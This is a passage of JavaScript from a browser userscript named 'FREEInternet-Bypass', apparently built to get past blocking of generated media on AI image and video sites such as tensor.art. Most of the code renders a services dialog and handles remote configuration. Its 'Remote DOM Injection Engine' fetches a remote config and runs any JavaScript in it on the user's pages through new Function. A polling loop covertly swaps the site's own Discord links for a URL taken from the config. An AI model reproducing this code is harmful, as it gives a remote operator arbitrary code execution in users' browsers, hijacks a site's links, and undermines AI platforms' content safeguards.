  function shouldShowServicesTab(config = remoteConfig) {
    if (!getRemoteFeatureFlagEnableServices(config)) return false;
    const services = getEnabledRemoteServices(config);
    return services.length > 0;
  }

  function isProbablySafeHttpUrl(url) {
    if (!url) return false;
    try {
      const u = new URL(String(url), location.href);
      return u.protocol === 'http:' || u.protocol === 'https:';
    } catch {
      return false;
    }
  }

  function sanitizeServiceDescriptionHtml(inputHtml) {
    const html = String(inputHtml || '').trim();
    if (!html) return '';
    try {
      const doc = new DOMParser().parseFromString(`<div>${html}</div>`, 'text/html');
      const root = doc.body;

      const allowed = new Set([
        'DIV', 'P', 'BR', 'B', 'STRONG', 'I', 'EM', 'U', 'S',
        'UL', 'OL', 'LI', 'A', 'CODE', 'PRE', 'SPAN',
        'H1', 'H2', 'H3', 'H4', 'H5', 'H6',
        'HR', 'BLOCKQUOTE'
      ]);

      const walk = (node) => {
        const children = Array.from(node.childNodes || []);
        for (const child of children) {
          if (child.nodeType === Node.ELEMENT_NODE) {
            const el = child;
            const tag = el.tagName;

            // Drop dangerous/unknown tags entirely.
            if (!allowed.has(tag)) {
              // Preserve readable text if any.
              const txt = doc.createTextNode(el.textContent || '');
              el.replaceWith(txt);
              continue;
            }

            // Strip all event handlers/styles and keep a minimal attribute allowlist.
            const attrs = Array.from(el.attributes || []);
            for (const a of attrs) {
              const name = String(a.name || '').toLowerCase();
              if (name.startsWith('on')) {
                el.removeAttribute(a.name);
                continue;
              }
              if (name === 'style') {
                el.removeAttribute(a.name);
                continue;
              }
              if (tag === 'A') {
                if (!['href', 'target', 'rel', 'title'].includes(name)) {
                  el.removeAttribute(a.name);
                }
              } else {
                // For other tags: no attributes.
                el.removeAttribute(a.name);
              }
            }

            if (tag === 'A') {
              const href = el.getAttribute('href') || '';
              if (!isProbablySafeHttpUrl(href)) {
                // Convert to plain text if URL is unsafe.
                const txt = doc.createTextNode(el.textContent || href);
                el.replaceWith(txt);
                continue;
              }
              el.setAttribute('target', '_blank');
              el.setAttribute('rel', 'noopener noreferrer');
            }

            walk(el);
          }
        }
      };

      walk(root);
      return root.innerHTML || '';
    } catch {
      return escapeHtml(html);
    }
  }

  function parseLooseSemver(v) {
    const raw = String(v || '').trim();
    if (!raw) return null;
    const parts = raw.split('.').slice(0, 4).map(p => {
      const m = String(p).match(/\d+/);
      return m ? Number(m[0]) : 0;
    });
    while (parts.length < 3) parts.push(0);
    return parts;
  }

  function compareLooseSemver(a, b) {
    const pa = parseLooseSemver(a);
    const pb = parseLooseSemver(b);
    if (!pa && !pb) return 0;
    if (pa && !pb) return 1;
    if (!pa && pb) return -1;
    for (let i = 0; i < Math.max(pa.length, pb.length); i++) {
      const av = Number(pa[i] || 0);
      const bv = Number(pb[i] || 0);
      if (av > bv) return 1;
      if (av < bv) return -1;
    }
    return 0;
  }

  function getServiceUpdateState(service) {
    const local = getServiceLocalState(service?.id);
    const installed = !!local.installed;
    const installedVersion = local.installedVersion ? String(local.installedVersion) : '';
    const remoteVersion = service?.version ? String(service.version) : '';
    const versionCmp = installed && remoteVersion ? compareLooseSemver(remoteVersion, installedVersion) : 0;
    const updateAvailable = installed && !!remoteVersion && (!!installedVersion ? versionCmp > 0 : remoteVersion !== installedVersion);
    const updateRequired = !!service?.required_update && updateAvailable;
    return { installed, installedVersion, remoteVersion, updateAvailable, updateRequired };
  }

  function showServiceDetailsDialog(service) {
    if (!service || !service.id) return;
    const colors = getThemeColors();
    const { installed, installedVersion, remoteVersion, updateAvailable, updateRequired } = getServiceUpdateState(service);
    const serviceType = service.type === 'script' ? 'Script' : 'Desktop App';

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      inset: 0;
      z-index: 10000025;
      background: ${settings.inheritTheme ? 'var(--mask-primary, rgba(2,6,23,0.88))' : 'rgba(2,6,23,0.9)'};
      backdrop-filter: blur(8px);
      display: flex;
      align-items: center;
      justify-content: center;
      padding: 16px;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      width: min(760px, 96vw);
      max-height: min(90vh, 820px);
      overflow: hidden;
      border-radius: 16px;
      border: 1px solid ${colors.border};
      background: ${colors.bg};
      box-shadow: 0 28px 90px rgba(0,0,0,0.55);
      display: flex;
      flex-direction: column;
      color: ${colors.text};
    `;

    const header = document.createElement('div');
    header.style.cssText = `
      display: flex;
      align-items: center;
      justify-content: space-between;
      gap: 12px;
      padding: 14px 14px;
      background: ${colors.bgSecondary};
      border-bottom: 1px solid ${colors.border};
    `;

    const left = document.createElement('div');
    left.style.cssText = 'display:flex; gap:12px; align-items:center; min-width:0;';

    const logo = document.createElement('div');
    logo.className = 'bypass-service-logo';
    if (service.logo_url && isProbablySafeHttpUrl(service.logo_url)) {
      const img = document.createElement('img');
      img.src = service.logo_url;
      img.alt = service.title;
      img.referrerPolicy = 'no-referrer';
      img.loading = 'lazy';
      img.onerror = () => {
        logo.innerHTML = '<i class="fas fa-cube"></i>';
      };
      logo.appendChild(img);
    } else {
      logo.innerHTML = '<i class="fas fa-cube"></i>';
    }

    const titleWrap = document.createElement('div');
    titleWrap.style.cssText = 'display:flex; flex-direction:column; gap:4px; min-width:0;';

    const topLine = document.createElement('div');
    topLine.style.cssText = 'display:flex; gap:10px; align-items:center; flex-wrap:wrap;';
    topLine.innerHTML = `
      <div style="font-weight:900; font-size:14px; color:${colors.text}; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">${escapeHtml(service.title)}</div>
      <span class="bypass-chip">${escapeHtml(serviceType)}</span>
      ${updateRequired ? `<span class="bypass-chip bypass-chip-danger">Update required</span>` : updateAvailable ? `<span class="bypass-chip bypass-chip-warn">Update available</span>` : installed ? `<span class="bypass-chip bypass-chip-success">Installed</span>` : `<span class="bypass-chip">Not installed</span>`}
    `;

    const subLine = document.createElement('div');
    subLine.style.cssText = `font-size:11px; color:${colors.textSecondary}; display:flex; gap:10px; flex-wrap:wrap; align-items:center;`;
    const installedPart = installed ? `Installed: <strong>${escapeHtml(installedVersion || 'unknown')}</strong>` : 'Installed: <strong>no</strong>';
    const remotePart = remoteVersion ? `Latest: <strong>${escapeHtml(remoteVersion)}</strong>` : '';
    subLine.innerHTML = `${installedPart}${remotePart ? ` • ${remotePart}` : ''}`;

    titleWrap.appendChild(topLine);
    titleWrap.appendChild(subLine);

    left.appendChild(logo);
    left.appendChild(titleWrap);

    const closeBtn = document.createElement('button');
    closeBtn.className = 'bypass-btn bypass-btn-secondary';
    closeBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
    closeBtn.innerHTML = '<i class="fas fa-times"></i> Close';
    closeBtn.onclick = () => overlay.remove();

    header.appendChild(left);
    header.appendChild(closeBtn);

    const body = document.createElement('div');
    body.style.cssText = 'padding:14px; overflow:auto; display:flex; flex-direction:column; gap:12px;';

    const caution = document.createElement('div');
    caution.className = 'bypass-service-caution';
    caution.innerHTML = `
      <div style="display:flex; gap:10px; align-items:flex-start;">
        <i class="fas fa-shield-halved" style="color:${colors.warning}; margin-top:2px;"></i>
        <div style="min-width:0;">
          <div style="font-weight:900; color:${colors.text}; font-size:12px; margin-bottom:4px;">Security note</div>
          <div style="color:${colors.textSecondary}; font-size:11px; line-height:1.6;">
            Services are provided via remote config. Only download apps/scripts you trust. Prefer services that publish source code.
          </div>
        </div>
      </div>
    `;
    body.appendChild(caution);

    const descCard = document.createElement('div');
    descCard.className = 'bypass-service-desc';
    const html = service?.description?.html ? sanitizeServiceDescriptionHtml(service.description.html) : '';
    const text = service?.description?.text ? String(service.description.text) : '';
    descCard.innerHTML = `
      <div style="font-weight:900; color:${colors.text}; font-size:12px; margin-bottom:8px;"><i class="fas fa-align-left" style="color:${colors.primary};"></i> Description</div>
      <div class="bypass-service-desc-body">${html || (text ? `<div style="white-space:pre-wrap;">${escapeHtml(text)}</div>` : `<div style="color:${colors.textSecondary};">No description provided.</div>`)}</div>
    `;
    body.appendChild(descCard);

    const linksCard = document.createElement('div');
    linksCard.className = 'bypass-service-links';
    const downloadUrl = service.download_url || '';
    const sourceUrl = service.source_url || '';
    const hasDownload = isProbablySafeHttpUrl(downloadUrl);
    const hasSource = isProbablySafeHttpUrl(sourceUrl);
    linksCard.innerHTML = `
      <div style="display:flex; align-items:center; justify-content:space-between; gap:10px; flex-wrap:wrap;">
        <div style="font-weight:900; color:${colors.text}; font-size:12px;"><i class="fas fa-link" style="color:${colors.primary};"></i> Links</div>
        <div style="font-size:11px; color:${colors.textSecondary};">${escapeHtml(service.id)}</div>
      </div>
      <div style="margin-top:10px; display:grid; gap:10px;">
        <div>
          <div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:6px;">Download</div>
          <div style="font-family:Consolas, 'Courier New', monospace; font-size:11px; padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; word-break:break-all;">${hasDownload ? `<a href="${escapeHtml(downloadUrl)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd; text-decoration:none;">${escapeHtml(downloadUrl)}</a>` : `<span style="color:${colors.textSecondary};">Not available</span>`}</div>
        </div>
        <div>
          <div style="font-size:11px; color:${colors.textSecondary}; margin-bottom:6px;">Source code</div>
          <div style="font-family:Consolas, 'Courier New', monospace; font-size:11px; padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; word-break:break-all;">${hasSource ? `<a href="${escapeHtml(sourceUrl)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd; text-decoration:none;">${escapeHtml(sourceUrl)}</a>` : `<span style="color:${colors.textSecondary};">Not provided</span>`}</div>
        </div>
      </div>
    `;
    body.appendChild(linksCard);

    const footer = document.createElement('div');
    footer.style.cssText = `
      padding: 14px;
      border-top: 1px solid ${colors.border};
      background: ${colors.bgSecondary};
      display: flex;
      gap: 10px;
      align-items: center;
      justify-content: space-between;
      flex-wrap: wrap;
    `;

    const leftNote = document.createElement('div');
    leftNote.style.cssText = `font-size:11px; color:${colors.textSecondary}; line-height:1.5;`;
    leftNote.innerHTML = updateRequired
      ? `<span style="color:${colors.error}; font-weight:900;">Update required.</span> You should update this service before using related features.`
      : updateAvailable
        ? `An update is available.`
        : installed
          ? `Installed state is tracked locally (browser).`
          : `Not installed.`;

    const actions = document.createElement('div');
    actions.style.cssText = 'display:flex; gap:8px; align-items:center; flex-wrap:wrap;';

    const mkBtn = (cls, labelHtml, onClick, disabled = false) => {
      const b = document.createElement('button');
      b.className = `bypass-btn ${cls}`;
      b.style.cssText = 'width:auto; padding:9px 12px; font-size:11px;';
      b.innerHTML = labelHtml;
      b.disabled = !!disabled;
      b.onclick = onClick;
      return b;
    };

    const primaryLabel = updateAvailable ? '<i class="fas fa-rotate"></i> Update' : (installed ? '<i class="fas fa-download"></i> Re-download' : '<i class="fas fa-download"></i> Download');
    const primaryBtn = mkBtn('bypass-btn-primary', primaryLabel, () => {
      if (!hasDownload) {
        showToast('No download URL provided for this service', 'warning');
        return;
      }
      try {
        window.open(downloadUrl, '_blank', 'noopener,noreferrer');
      } catch {
        // ignore
      }
      patchServiceLocalState(service.id, {
        installed: true,
        installedVersion: remoteVersion || installedVersion || null,
        installedAt: getServiceLocalState(service.id).installedAt || Date.now(),
        lastActionAt: Date.now()
      });
      showToast(updateAvailable ? 'Update opened (marked updated locally)' : 'Download opened (marked installed locally)', 'success');
      overlay.remove();
      if (isExpanded) updateUI();
    }, !hasDownload);

    const removeBtn = mkBtn('bypass-btn-danger', '<i class="fas fa-trash"></i> Remove', () => {
      showConfirmDialog(`Remove "${service.title}" from local installed list?`, () => {
        patchServiceLocalState(service.id, {
          installed: false,
          installedVersion: null,
          removedAt: Date.now(),
          lastActionAt: Date.now()
        });
        showToast('Removed (local state only)', 'success');
        overlay.remove();
        if (isExpanded) updateUI();
      });
    }, !installed);

    const openSourceBtn = mkBtn('bypass-btn-secondary', '<i class="fas fa-code"></i> Source', () => {
      if (!hasSource) return;
      try {
        window.open(sourceUrl, '_blank', 'noopener,noreferrer');
      } catch {
        // ignore
      }
    }, !hasSource);

    const copyDownloadBtn = mkBtn('bypass-btn-secondary', '<i class="fas fa-copy"></i> Copy download', async () => {
      if (!hasDownload) return;
      try {
        if (navigator.clipboard?.writeText) {
          await navigator.clipboard.writeText(downloadUrl);
        } else {
          const ta = document.createElement('textarea');
          ta.value = downloadUrl;
          document.body.appendChild(ta);
          ta.select();
          document.execCommand('copy');
          ta.remove();
        }
        showToast('Copied download URL', 'success');
      } catch {
        showToast('Copy failed', 'error');
      }
    }, !hasDownload);

    actions.appendChild(primaryBtn);
    actions.appendChild(removeBtn);
    actions.appendChild(openSourceBtn);
    actions.appendChild(copyDownloadBtn);
    footer.appendChild(leftNote);
    footer.appendChild(actions);

    dialog.appendChild(header);
    dialog.appendChild(body);
    dialog.appendChild(footer);
    overlay.appendChild(dialog);

    overlay.onclick = (e) => {
      if (e.target === overlay) overlay.remove();
    };
    document.body.appendChild(overlay);
  }

  function hashStringFNV1a(input) {
    const str = String(input || '');
    let h = 2166136261;
    for (let i = 0; i < str.length; i++) {
      h ^= str.charCodeAt(i);
      h = Math.imul(h, 16777619);
    }
    return (h >>> 0).toString(16);
  }

  function getAnnouncementSignature(announcement) {
    if (!announcement) return '';
    const raw = JSON.stringify({
      id: announcement.id,
      title: announcement.title,
      date: announcement.date,
      status: announcement.status,
      type: announcement.type,
      display_type: announcement.display_type,
      content: announcement.content,
      links: announcement.links,
      injection: announcement.injection
    });
    // Store a compact signature (hash) to reduce localStorage pressure.
    return `fnv1a:${hashStringFNV1a(raw)}`;
  }

  function getMediaStatus(imageId) {
    const cache = loadMediaStatus();
    return cache[imageId] || {};
  }

  function updateMediaStatus(imageId, patch) {
    if (!imageId) return;
    const cache = loadMediaStatus();
    cache[imageId] = {
      ...cache[imageId],
      ...patch,
      updatedAt: Date.now()
    };
    saveMediaStatus();
    updateStatusOverlays(imageId);
    refreshActiveBlockedTooltip(imageId);
    updateItemStatusBadges(imageId);
    if (isExpanded) {
      updateHomeProgressUI();
      updateTasksTabUI();
      refreshSelectionUI();
    }
  }

  function updateItemStatusBadges(imageId) {
    const icons = renderStatusIcons(imageId);
    document.querySelectorAll(`[data-bypass-item-status="${imageId}"]`).forEach(el => {
      el.innerHTML = icons ? `<span style="font-weight: 600;">Status:</span> ${icons}` : '';
    });
    document.querySelectorAll(`[data-bypass-gallery-status="${imageId}"]`).forEach(el => {
      el.innerHTML = icons;
      el.style.display = icons ? 'flex' : 'none';
    });
  }

  function updateStatusOverlays(imageId) {
    const overlays = document.querySelectorAll(`[data-bypass-status-overlay][data-bypass-image-id="${imageId}"]`);
    if (!overlays.length) return;
    const icons = renderStatusIcons(imageId);
    overlays.forEach(overlay => {
      overlay.innerHTML = icons || '<i class="fas fa-circle" title="No status"></i>';
    });
  }

  function renderStatusIcons(imageId) {
    const status = getMediaStatus(imageId);
    const icons = [];
    if (status.downloaded) icons.push('<i class="fas fa-download" title="Downloaded"></i>');
    if (status.telegram) icons.push('<i class="fab fa-telegram" title="Sent to Telegram"></i>');
    if (status.discord) icons.push('<i class="fab fa-discord" title="Sent to Discord"></i>');
    if (status.telegramError || status.discordError || status.downloadError) {
      const msg = status.lastError ? `Error: ${status.lastError}` : 'Last action failed';
      icons.push(`<i class="fas fa-exclamation-triangle" title="${msg}"></i>`);
    }
    return icons.join('');
  }

  function getRemoteRuntimeConfig(config = remoteConfig) {
    const remoteCfg = config?.configuration || {};
    const notifications = {
      ...remoteRuntimeDefaults.notifications,
      ...(remoteCfg.notifications || {})
    };
    const runtime_controls = {
      ...remoteRuntimeDefaults.runtime_controls,
      ...(remoteCfg.runtime_controls || {})
    };
    return { notifications, runtime_controls };
  }

  function applyRemoteRuntimeConfig(config = remoteConfig) {
    const runtime = getRemoteRuntimeConfig(config);
    const controls = runtime.runtime_controls || {};

    if (controls.disable_safe_view) settings.safeViewMode = false;
    if (controls.disable_dom_injection) settings.injectOnDom = false;
    if (controls.disable_telegram) settings.telegramEnabled = false;
    if (controls.disable_discord) settings.discordEnabled = false;
    if (controls.disable_profile_tasks) settings.enableTaskProfilesCreation = false;

    if (typeof controls.force_inherit_theme === 'boolean') {
      settings.inheritTheme = controls.force_inherit_theme;
    }
    if (typeof controls.force_preview === 'boolean') {
      settings.preview = controls.force_preview;
    }
    if (typeof controls.force_show_bypassed_link === 'boolean') {
      settings.showBypassedLink = controls.force_show_bypassed_link;
    }

    saveSettings();

    if (!settings.injectOnDom && !settings.safeViewMode) {
      stopDomInjectionWatcher();
    }
  }

  // ── Remote Default Settings ───────────────────────────────────────────────────
  // Merges config.configuration.default_settings into `settings` for any key
  // the user hasn't explicitly saved yet (i.e. not present in their localStorage).
  function applyRemoteDefaultSettings(config) {
    const ds = config?.configuration?.default_settings;
    if (!ds || typeof ds !== 'object') return;
    let changed = false;
    const savedKeys = new Set(Object.keys(JSON.parse(localStorage.getItem('freeBypassSettings') || '{}')));
    for (const [key, remoteDefault] of Object.entries(ds)) {
      if (!(key in defaultSettings)) continue; // only known keys
      if (!savedKeys.has(key)) {
        settings[key] = remoteDefault;
        changed = true;
      }
    }
    if (changed) saveSettings();
  }

  // ── Remote Settings Control ───────────────────────────────────────────────────
  // Populates remoteSettingsControl from config.configuration.settings_control.
  // Each entry: settingKey → { locked: bool, note: string }
  function applyRemoteSettingsControl(config) {
    const sc = config?.configuration?.settings_control;
    remoteSettingsControl = (sc && typeof sc === 'object') ? sc : {};
  }

  // ── Remote Platform Control ───────────────────────────────────────────────────
  // config.configuration.platform_control: { pixverse: {enabled}, grok: {enabled}, ... }
  // When a platform is disabled remotely, its UI setting is forced off.
  function applyRemotePlatformControl(config) {
    const pc = config?.configuration?.platform_control;
    remotePlatformControl = (pc && typeof pc === 'object') ? pc : {};
    const platformUiMap = {
      pixverse: 'showPixverseUi',
      grok: 'showGrokUi',
      higgsfield: 'showHiggsfieldUi',
      hailuo: 'showHailuoUi',
    };
    let changed = false;
    for (const [platform, uiKey] of Object.entries(platformUiMap)) {
      if (remotePlatformControl[platform]?.enabled === false && settings[uiKey]) {
        settings[uiKey] = false;
        changed = true;
      }
    }
    if (changed) saveSettings();
  }

  // Returns true if a platform is enabled per remoteConfig (defaults true).
  function isPlatformEnabled(name) {
    const ctrl = remotePlatformControl[String(name || '').toLowerCase()];
    return !ctrl || ctrl.enabled !== false;
  }

  // ── Discord Community Replace ─────────────────────────────────────────────────
  // When config.configuration.community_discord.replace_enabled is true,
  // scans the page for the tensor.art discord link and replaces it with ours.
  function startDiscordReplaceLoop(config) {
    const dc = config?.configuration?.community_discord;
    if (!dc?.replace_enabled || !dc?.url) {
      if (_discordReplaceInterval) { clearInterval(_discordReplaceInterval); _discordReplaceInterval = null; }
      return;
    }
    const newUrl = String(dc.url).trim();
    if (!newUrl || _discordReplaceInterval) return;
    const run = () => {
      try {
        document.querySelectorAll('a[href*="discord.gg/qYjANGqBED"]').forEach(a => {
          if (a.href.includes('qYjANGqBED')) a.href = newUrl;
        });
      } catch { /* ignore */ }
    };
    run();
    _discordReplaceInterval = setInterval(run, 1800);
  }

  function getRemoteNotificationEntries(config = remoteConfig) {
    const runtime = getRemoteRuntimeConfig(config);
    const notificationsCfg = runtime.notifications || {};
    const entries = [];

    if (notificationsCfg.includeAnnouncements !== false && Array.isArray(config?.announcements)) {
      config.announcements
        .filter(a => a && a.status === 'published')
        .forEach(a => {
          entries.push({
            id: `ann:${a.id || Math.random()}`,
            kind: 'announcement',
            title: a.title || 'Announcement',
            author: a.author || 'System',
            date: a.date || '',
            priority: a.priority || 'info',
            html: a?.content?.html || '',
            text: a?.content?.text || '',
            links: Array.isArray(a.links) ? a.links : []
          });
        });
    }

    if (notificationsCfg.includeUpdates !== false && Array.isArray(config?.updates)) {
      config.updates.forEach(u => {
        entries.push({
          id: `upd:${u.version || Math.random()}`,
          kind: 'update',
          title: u.title || `Update ${u.version || ''}`,
          author: 'System Update',
          date: u.released || '',
          priority: u.required ? 'critical' : (u.type || 'feature'),
          html: u?.message?.html || '',
          text: u?.message?.text || '',
          links: u?.download_url ? [{ url: u.download_url, label: 'Download update', icon: 'fas fa-download' }] : []
        });
      });
    }

    const toTs = (v) => {
      const t = Date.parse(v || '');
      return Number.isFinite(t) ? t : 0;
    };
    entries.sort((a, b) => toTs(b.date) - toTs(a.date));

    const maxItems = Math.max(1, Number(notificationsCfg.maxItems) || 100);
    return entries.slice(0, maxItems);
  }

  async function fetchRemoteConfig() {
    return await fetchRemoteConfigWithOptions({});
  }

  function loadRemoteConfigMeta() {
    try {
      const raw = localStorage.getItem(CONFIG_CACHE_META_KEY);
      if (!raw) return { etag: null, lastModified: null, lastCheckedAt: 0, lastOkAt: 0, lastStatus: null };
      const parsed = JSON.parse(raw);
      return {
        etag: typeof parsed?.etag === 'string' ? parsed.etag : null,
        lastModified: typeof parsed?.lastModified === 'string' ? parsed.lastModified : null,
        lastCheckedAt: Number(parsed?.lastCheckedAt) || 0,
        lastOkAt: Number(parsed?.lastOkAt) || 0,
        lastStatus: parsed?.lastStatus || null
      };
    } catch {
      return { etag: null, lastModified: null, lastCheckedAt: 0, lastOkAt: 0, lastStatus: null };
    }
  }

  function saveRemoteConfigMeta(patch = {}) {
    const cur = loadRemoteConfigMeta();
    const next = { ...cur, ...(patch || {}) };
    try {
      safeLocalStorageSet(CONFIG_CACHE_META_KEY, JSON.stringify(next));
    } catch {
      // ignore
    }
    return next;
  }

  function getRemoteConfigCacheTtlMs(config = remoteConfig) {
    const ttl = Number(config?.configuration?.cache?.ttl);
    if (Number.isFinite(ttl) && ttl > 0) return ttl;
    return CONFIG_CACHE_TTL;
  }

  function getRemoteConfigPollIntervalMs() {
    // Keep traffic predictable: always check once every 5 minutes.
    return 5 * 60 * 1000;
  }

  function parseRawHeadersMap(rawHeaders = '') {
    const out = {};
    String(rawHeaders || '').split(/\r?\n/).forEach((line) => {
      const idx = line.indexOf(':');
      if (idx <= 0) return;
      const key = line.slice(0, idx).trim().toLowerCase();
      const value = line.slice(idx + 1).trim();
      if (key) out[key] = value;
    });
    return out;
  }

  function gmRequestRemoteConfig(reqHeaders = {}) {
    const gmRequest =
      (typeof GM !== 'undefined' && GM && typeof GM.xmlHttpRequest === 'function')
        ? GM.xmlHttpRequest.bind(GM)
        : (typeof GM_xmlhttpRequest === 'function' ? GM_xmlhttpRequest : null);

    if (!gmRequest) return Promise.resolve(null);

    return new Promise((resolve) => {
      try {
        gmRequest({
          method: 'GET',
          url: CONFIG_URL,
          headers: reqHeaders,
          onload: (resp) => {
            const headersMap = parseRawHeadersMap(resp?.responseHeaders || '');
            const status = Number(resp?.status) || 0;
            resolve({
              status,
              ok: status >= 200 && status < 300,
              getHeader: (name) => headersMap[String(name || '').toLowerCase()] || null,
              json: async () => JSON.parse(String(resp?.responseText || '{}'))
            });
          },
          onerror: () => resolve(null),
          ontimeout: () => resolve(null)
        });
      } catch {
        resolve(null);
      }
    });
  }

  // ── Remote DOM Injection Engine ──────────────────────────────────────────────
  // Allows the remote config JSON to inject arbitrary HTML, CSS, and JS into
  // the user's browser on specific pages. Controlled by:
  //   config.configuration.runtime_controls.remote_injections
  //
  // Injection schema per entry:
  //   id          – unique string (used to de-duplicate and dismiss)
  //   enabled     – bool (false = skip silently)
  //   type        – "html" | "css" | "js" | "all"
  //   match       – { domains[], pathPattern (regex), once (bool) }
  //   target      – { selector (CSS), position ("afterbegin"|"beforeend"|"beforebegin"|"afterend") }
  //   content     – HTML string to inject (for type html / all)
  //   style       – CSS string to inject via <style> (for type css / all)
  //   script      – JS string to eval in page context (for type js / all)
  //   dismissible – bool: show a close ✕ button on the injected HTML wrapper
  //   priority    – number: lower = injected first (default 10)

  const _remoteInjectionAppliedIds = new Set();
  const _remoteInjectionDismissedKey = 'freeBypassRemoteInjectionsDismissedV1';
  let _remoteInjectionDismissed = (() => {
    try { return new Set(JSON.parse(localStorage.getItem(_remoteInjectionDismissedKey) || '[]')); }
    catch { return new Set(); }
  })();

  function _remoteInjectionMatchesPage(entry) {
    if (!entry || entry.enabled === false) return false;
    const match = entry.match || {};
    // Domain check
    if (Array.isArray(match.domains) && match.domains.length) {
      const host = location.hostname.replace(/^www\./, '');
      if (!match.domains.some(d => host === d || host.endsWith('.' + d))) return false;
    }
    // Path pattern check
    if (match.pathPattern) {
      try {
        if (!new RegExp(match.pathPattern).test(location.pathname)) return false;
      } catch { return false; }
    }
    return true;
  }

  function _applyRemoteInjectionEntry(entry) {
    const id = String(entry.id || '');
    if (!id) return;
    if (_remoteInjectionAppliedIds.has(id)) return; // already injected this session
    if (entry.match?.once && _remoteInjectionDismissed.has(id)) return; // user dismissed once-only
    if (!_remoteInjectionMatchesPage(entry)) return;

    const type = entry.type || 'html';
    const target = entry.target || {};
    const position = target.position || 'afterbegin';

    // Inject CSS
    if ((type === 'css' || type === 'all') && entry.style) {
      const styleEl = document.createElement('style');
      styleEl.id = `fi-remote-css-${id}`;
      styleEl.textContent = entry.style;
      document.head.appendChild(styleEl);
    }

    // Inject HTML
    if ((type === 'html' || type === 'all') && entry.content) {
      const sel = target.selector || 'body';
      let targetEl = document.querySelector(sel);

      // dynamicTarget: if element not found yet, retry via interval (for SPA-rendered pages)
      if (!targetEl && entry.dynamicTarget) {
        let attempts = 0;
        const maxAttempts = 24; // ~12 seconds at 500ms
        // Temporarily mark applied to prevent processRemoteInjections from re-queuing
        _remoteInjectionAppliedIds.add(id);
        const retryTimer = setInterval(() => {
          attempts++;
          const el = document.querySelector(sel);
          if (el) {
            clearInterval(retryTimer);
            _remoteInjectionAppliedIds.delete(id); // allow the re-run to succeed
            _applyRemoteInjectionEntry(entry);
          } else if (attempts >= maxAttempts) {
            clearInterval(retryTimer);
            console.warn('[FreeInternet][DynamicInjection] Target not found:', sel);
          }
        }, 500);
        return;
      }

      targetEl = targetEl || document.body;
      if (!targetEl) return;

      const wrapper = document.createElement('div');
      wrapper.id = `fi-remote-html-${id}`;
      wrapper.setAttribute('data-fi-remote-id', id);
      wrapper.innerHTML = entry.content;

      if (entry.dismissible) {
        const closeBtn = document.createElement('button');
        closeBtn.setAttribute('aria-label', 'Dismiss');
        closeBtn.style.cssText = 'position:absolute;top:6px;right:10px;background:none;border:none;cursor:pointer;font-size:18px;color:inherit;opacity:0.7;line-height:1;padding:0;';
        closeBtn.textContent = '✕';
        closeBtn.onclick = () => {
          wrapper.remove();
          _remoteInjectionDismissed.add(id);
          try { localStorage.setItem(_remoteInjectionDismissedKey, JSON.stringify([..._remoteInjectionDismissed])); } catch { /* ignore */ }
        };
        if (getComputedStyle(targetEl).position === 'static') wrapper.style.position = 'relative';
        wrapper.appendChild(closeBtn);
      }

      try {
        targetEl.insertAdjacentElement(position, wrapper);
      } catch {
        try { targetEl.insertBefore(wrapper, targetEl.firstChild); } catch { return; }
      }
    }

    // Inject/eval JavaScript — runs in script context, sandboxed to this closure
    if ((type === 'js' || type === 'all') && entry.script) {
      try {
        // eslint-disable-next-line no-new-func
        new Function(entry.script)();
      } catch (err) {
        console.warn('[FreeInternet][RemoteInjection] Script error for', id, err);
      }
    }

    _remoteInjectionAppliedIds.add(id);
  }

  function processRemoteInjections(config) {
    const riCfg = config?.configuration?.runtime_controls?.remote_injections;
    if (!riCfg || riCfg.enabled === false) return;
    const injections = Array.isArray(riCfg.injections) ? riCfg.injections : [];
    if (!injections.length) return;

    // Sort by priority (lower number = applied first)
    const sorted = injections.slice().sort((a, b) => (a.priority ?? 10) - (b.priority ?? 10));

    const _run = () => sorted.forEach(entry => _applyRemoteInjectionEntry(entry));

    // If DOM is ready apply now, else wait for it
    if (document.body) {
      _run();
    } else {
      document.addEventListener('DOMContentLoaded', _run, { once: true });
    }
  }

  // ─────────────────────────────────────────────────────────────────────────────

  function applyRemoteConfigNow(config, meta = {}) {
    if (!config) return null;
    remoteConfig = config;
    remoteConfigAppliedAt = Date.now();
    applyRemoteRuntimeConfig(config);
    applyRemoteDefaultSettings(config);
    applyRemoteSettingsControl(config);
    applyRemotePlatformControl(config);
    startDiscordReplaceLoop(config);
    processAnnouncements(config);
    processUpdates(config);
    processRemoteInjections(config);
    startNotificationInjectionLoop();
    // Only trigger a full UI rebuild when the config actually changed (version/updated_at differs).
    // This prevents the items tab from flickering on every repeated cached-config serve or
    // same-version network revalidation (tab-visible, poll tick, etc.).
    const _configHash = String(config?.script?.version || '') + '|' + String(config?.script?.updated_at || '') + '|' + String(config?.configuration?.version || '');
    const _configChanged = _configHash !== _remoteConfigAppliedHash;
    if (_configChanged) {
      _remoteConfigAppliedHash = _configHash;
      try {
        // Remote config can affect feature flags, tab visibility, and Services URLs.
        // Clear any cached tab DOM so the next render reflects the latest config.
        if (tabContentCache && typeof tabContentCache.clear === 'function') tabContentCache.clear();
      } catch {
        // ignore
      }
      scheduleUIRefresh();
    }

    if (config.configuration?.remote_disable?.all) {
      console.warn('[RemoteConfig] Script disabled remotely!');
      setSharedUpdateState({
        hasUpdate: true,
        required: true,
        version: config?.script?.version || null,
        title: 'Disabled remotely',
        downloadUrl: CONFIG_URL,
        messageText: 'Script disabled remotely. Please update.'
      });
      if (!remoteConfigRemoteDisabledShown) {
        remoteConfigRemoteDisabledShown = true;
        showBlockingDialog('FREEInternet-Bypass has been disabled remotely. Please check for updates.', CONFIG_URL, true);
      }
    }

    // Persist config (still respects remote cache.enabled flag)
    try {
      if (config.configuration?.cache?.enabled !== false) {
        safeLocalStorageSet(CONFIG_CACHE_KEY, JSON.stringify({
          timestamp: Date.now(),
          config: config
        }));
      }
    } catch {
      // ignore
    }
    if (meta && typeof meta === 'object') {
      saveRemoteConfigMeta(meta);
    }
    return config;
  }

  async function fetchRemoteConfigWithOptions(options = {}) {
    const { force = false, reason = 'auto', background = false } = options || {};
    try {
